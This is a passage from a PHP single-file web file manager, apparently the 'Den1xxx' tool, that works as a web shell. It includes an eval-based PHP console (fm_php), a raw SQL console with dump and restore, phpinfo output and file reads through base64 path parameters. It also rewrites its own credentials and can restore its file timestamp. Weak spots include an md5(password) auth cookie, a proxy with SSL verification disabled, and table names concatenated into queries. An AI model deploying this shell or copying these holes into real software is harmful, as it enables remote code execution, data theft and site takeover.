		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423G